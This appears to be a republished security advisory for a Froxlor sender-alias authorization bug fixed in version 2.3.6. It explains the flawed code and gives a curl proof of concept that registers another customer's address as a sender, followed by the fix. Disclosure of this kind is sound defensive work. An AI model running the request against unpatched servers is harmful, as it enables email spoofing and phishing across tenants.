EPSS · scored 2026-10-22

Froxlor is open source server administration software. Prior to version 2.3.6, in `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

    ## Summary In `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses. ## Details In `lib/Froxlor/Api/Commands/EmailSender.php` at line 100, when a customer adds a full email address (not a `@domain` wildcard) as an allowed sender, the code splits on `@` and takes index `[0]`: ```php // Line 96-106 if (substr($allowed_sender, 0, 1) != '@') { if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) { Response::standardError('emailiswrong', $allowed_sender, true); } self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? ""); // BUG: [0] is the local part } else { if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) { Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true); } self::validateLocalDomainOwnership(substr($allowed_sender, 1)); // CORRECT: passes domain } ``` For input `admin@domain-b.com`, `explode("@", "admin@domain-b.com")` returns `["admin", "domain-b.com"]`. Index `[0]` is `"admin"` — the local part, not the domain. The `validateLocalDomainOwnership()` function (lines 346-355) then queries `panel_domains` for a domain matching `"admin"`: ```php private static function validateLocalDomainOwnership(string $domain): void { $sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain"); $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]); if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) { Response::standardError('senderdomainnotowned', $domain, true); } } ``` Since no domain named `"admin"` exists in `panel_domains`, `$domain_result` is false, and the function returns without error — the ownership check silently passes. The inserted `mail_sender_aliases` row is then picked up by Postfix's `sender_login_maps` query (configured in `mysql-virtual_sender_permissions.cf`): ```sql ... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases WHERE mail_sender_aliases.allowed_sender = '%s') ... ``` This query maps the `allowed_sender` back to the mail user, authorizing them to send as that address via SMTP. ## PoC ```bash # Prerequisites: Froxlor instance with mail.enable_allow_sender enabled, # two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com) # Step 1: As Customer A, add a sender alias claiming Customer B's domain # Via API: curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.add", "params": { "emailaddr": "myaccount@domain-a.com", "allowed_sender": "ceo@domain-b.com" } }' # Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B # Actual: 200 OK — alias is created because validateLocalDomainOwnership # receives "ceo" (local part) instead of "domain-b.com" (domain) # Step 2: Verify the alias was inserted curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.listing", "params": {"emailaddr": "myaccount@domain-a.com"} }' # Step 3: Customer A can now send email as ceo@domain-b.com via SMTP # because Postfix sender_login_maps will match the mail_sender_aliases entry # and authorize Customer A's mail account to use that sender address. ``` The same attack works via the web UI by POST-ing to `customer_email.php` with `action=add_sender` and the target domain in `allowed_domain`. ## Impact Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows: - **Cross-customer email spoofing**: Send emails impersonating users on other customers' domains, bypassing Postfix's `smtpd_sender_login_maps` restriction that is specifically designed to prevent this. - **Multi-tenant isolation breach**: The domain ownership check (`validateLocalDomainOwnership`) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses. - **Phishing and reputation damage**: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server. Note: The wildcard (`@domain`) code path at line 105 is **not** affected — it correctly passes the domain to `validateLocalDomainOwnership()`. ## Recommended Fix Change index `[0]` to `[1]` on line 100 of `lib/Froxlor/Api/Commands/EmailSender.php`: ```php // Before (line 100): self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? ""); // After: self::validateLocalDomainOwnership(explode("@", $allowed_sender)[1] ?? ""); ``` This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.
